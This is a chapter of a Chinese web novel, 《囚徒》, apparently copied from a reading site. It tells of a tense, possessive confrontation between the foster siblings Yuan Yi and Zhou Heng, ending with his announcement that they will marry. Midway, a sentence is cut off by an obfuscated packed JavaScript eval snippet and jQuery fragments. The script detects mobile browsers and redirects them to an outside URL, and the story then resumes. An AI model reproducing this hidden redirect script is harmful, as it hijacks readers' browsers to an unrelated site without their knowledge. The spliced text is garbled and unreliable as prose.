48. 通知
作品:《囚徒》 她突然间变得不识字起来了,几个字连在一起,再发出声音,就成了让人听不懂的话。
乱七八糟的关系,混成一团理不清,邻居自以为是倨傲的嘴脸变得错愕,然后模糊,无关紧要。
一股强势的力量凝固在她的手腕,带着不易察觉的温柔把她拽着拉到了车里。
袁意没有反抗。
她默许地被拉进漆黑的车,车里的味道古怪至极,呛烈的酒气被浓厚的香硬生生压下去,却又藏不住尾巴。
他大概是喝了酒,才会说出这样的话。
也大概是喝醉了,才会像现在这样,把唇贴在她的侧脸,又旋即脱离,和猝然僵硬的躯体一起远离她。
本就岌岌可危的细线又被冷战拉得更远更细了。
她低着头,没有动,沸水在胸腔里不停翻滚着,被理智克制的压下去后,却终究忍不住本能的悸动,打破他们默许的冷场。
“你喝酒了。”
袁意说了第一句话。
他也很坦然,答道,“是。”
没开灯,乌漆麻黑的车里,看不清人脸,只能听到匀长的呼吸声。
袁意对他的冷淡早有预料,明知结果,但真当人真真实实出现在她面前,平淡地俯视她时,心脏还是控制不住地绞痛了一下,紧接着开始发酸。
她控制着声音,尽量不让鼻腔的酸涩渗透到声音,轻轻地问他,“哥哥。”
没有人应她了。
她又试探性到轻轻喊了一声,“哥哥。”
像小猫路过,猫胡子不慎碰到人脸,痒痒的,让人忍不住去挠。
周珩没忍住去拽住那细长的胡子,他干着嗓子,让脸和声音冷得更彻底,决计不给她一点“好脸色”。
他不高心地答道,“别叫我哥。”
“不想听。”
他更希望能听到点别的。
但袁意只听到他冷冰冰的语气,和那句,别叫他哥。
弦就这么崩了。
袁意只看到了她的未来,像数十年那个幼小的她一样,站在档口,任风吹着,只有她自己能给自己撑伞。
久而久之,等习惯缺失的那片档口,却被意气风发的少年冷脸替她补上后,如今再告诉她,没了。
月光照不进的车里,袁意就这么平静地流下两行泪。
她没有就撕心裂肺地大哭,也没有底气和力气去改变什么,只是流着比水还清的泪,身躯微微颤动着,她顺着本能对漆黑的那一片抬起头,然后细若蚊纳地问空气,
“哥哥……你,不要我了吗?”
周珩溃不成军,一个屋檐下生活多年,他几乎不带任何思索就察觉到袁意语调的颤抖。
她在哭。
他硬下的心再无任何维持原状的机会了,只仓促地伸出手,想去摸一摸她被眼泪流过,应该是冰凉又黏腻的脸。
但夜色太沉,他看不清也看不见,又不忍打开白炽灯,把两个人的狼狈一起血淋淋地暴露在灯光之下。
在空中踉跄着停住的双臂迟疑又小心地试探着,最后茫然地落在袁意身侧的距离。
他们没有接触,但距离越来越近。
周珩茫然地停了片刻,他低着头,声音不自觉软下,话却吐得铿锵有力,“没有。”
这两个字姑且算作安慰,但已经耗费了他全部精力,他没有多余的耐心再和袁意玩情意绵绵你追我赶的游戏了。
周珩闭上眼,放弃挣扎,冷脸把她一把揽进怀里,他抱着她,说,“不要再叫我哥哥,我不是,从来就不是。”
“我也不想是。”声音变了调,有些怨愤地投射到她身上,袁意不自觉地发抖,开始掉眼泪,“为什么,可是我们说好了……”
“我没有。”他直接堵上了袁意的唇。
“我们说好的是……唔……”他灵活地勾住节节败退的舌头,喘着气一点点环上她的腰,缠绵着,然后在她的身体上一点点啄着,“像这样……”
“一直在一起啊。”
周珩的声音已然带上哑意,眼中已经雾蒙蒙,他恨然地突然咬住她,带着不甘地问袁意,
“不是这样,是哪样?”
“还是像你那样骗我,只是为了给自己找一个安心的家!”
“你根本就不在乎,你也根本就不爱我!”
袁意很冷静地给出了反击,“你不要不讲理。明明是你的病……”
她险些咬到舌头,纠结片刻,又道,“你病得太重,我们在一起,叔叔只会断了你的药……然后,他再生一个。”
出乎她意料,周珩平静地看着她,只一秒就全然信了她的话,不为周柏做任何辩解,
“那有什么关系呢?”他喃喃道。
“……?”
他很认真地把全身放松,紧紧依靠着她,像在保什么自动贴合的玩偶一样,把袁意的手脚都调节到合适的位置,然后一头靠了过去。
“我们说好的,不分开,只要不分开,什么都没关系。”
“我现在没有钱给你看病。”袁意弱弱道,“我也不想没有你。”
他慢吞吞地靠着,闭上眼睛,像在说梦话一样,对袁意说,“我们只要在一起,死了就死了,没什么关系。”
“那我怎么办?”
“你好好活着。”
袁意有些难以置信,她一把推开他,有些不认识这个始终守规守矩的端方君子了,她想说什么,终究又咽了下去,任由周珩发凉的手紧紧拉着她。
她沉默半晌,问,“你走了,那我呢,再找一个结婚吗?”
“不准。”这下他答得干脆利落,甚至闭着眼把袁意又拽了回去。
袁意蜷在他怀里,不解又费心地皱眉,她轻轻问,“那你想要什么呢,哥哥?”
她身上的人就这么突然没了呼吸,和身体一起停顿,袁意还以为是时间停止流动,直到他的手再一次慢慢伸出,然后在腰前勾成一个回环,她才恍若有了感觉,感知到他还活着。
活人迸出来的话也让人惊心,他亲吻在她耳后根,温了声音,说,“要你学会爱……你自己。”
他麻木地忽视袁意对变化,不顾三七二十一地靠着她,喊她,“妹妹。”
“你要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738310|182456||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把我看得比你自己要重,我爱你,可是你……根本不爱我。”
他有些绝望又无奈地轻轻道,“可是……你根本分不清,你根本不懂。”
他彻底靠在了袁意的肩上,尖尖的下巴清晰地触碰到她的骨头,大病一场的人虽未气若游丝,却像烟尘一样易散易灭,飘飘地在她耳侧呢喃,
“你要学会爱你自己,才能来爱我,我们只要在一起,那么,他不出治疗费又会怎样。”
“你不在乎你自己高兴或者不高兴,为什么要答应他,为什么要一个人孤零零地跑来这种荒郊野岭的鬼地方。”
“我不舍得,我舍不得看到你这样,妹妹。”
“我不会死的。”他幽幽叹了口气,“我会好好活着,会为了你,为了我们的约定好好活着,就算我死了,我们也是在一起,我不会不要你,可是……是你先撒开的手。”
“是你……先不要我了。”
袁意有些震惊地看着眼前这个瘦削的“疯子”,她所谓的哥哥。
正用手缠在她的腰上,以一种奇怪的姿势把她禁锢在来怀里,然后一边温声细语地说完惊世骇俗的话。
这是什么话,只要她爱他,那么他死不死,都无所谓,所以她不能放手,她放手就是在犹豫,在纠结。
她没有爱跨越生死线的那种勇气,只要她们能在一起,至于周珩是死是活,她都根本不需要在乎。
袁意有些费解地看向周珩。
最后,她摇摇头,说,“不行。”
“哥,人活着,不能……”
“我不想听。”
这人倔强地一把捂住她的嘴,然后慢悠悠在她耳侧呢喃,“我就知道,你根本就分不清。”
“骗子。”
“但没关系,以后的日子还长,我会慢慢教你。”
“我们结婚就好了,这也符合你的预想,不是吗,这样就能一直在一起。”
他微笑着,神采焕发,慢悠悠替袁意捋顺额头前的碎发,“至于其他有的没的,我们以后再慢慢算。”
“现在,回家。”
大概是袁意的脸上没有出现欣喜,和他预料的表情不一样,周珩慢慢恢复嘴角的弧度,他抿着唇,车窗已经打开,月色朦朦,银光只照出那张他亲手养得娇嫩细腻的脸上的疲倦和费解。
“那么为什么,你现在不高兴呢?”周珩疑惑地俯身看着袁意,像蛇一样慢腾腾缠紧她,生怕她逃掉。
他又重复一遍,很失望,语气却游游荡荡,没什么愤怒,“是太高兴忘记怎么反应了吗?”
“还是根本就不想,根本就没这个打算,根本就不准备,根本就很满意现在这个状态?”
“没有,哥。”她有些茫然,对突如其来的话题转变还未适应,只是凭本能回答他。
但那一声哥就像是引燃鞭炮的最后一缕火,不知道踩到敏感时期的周珩的哪根尾巴,立刻伤到他脆弱到极点的屏障。
他眉一横,冷着脸摆到一边,“我不是你哥。”
“还有,我是和你通知,不是商量。”
他温声道。

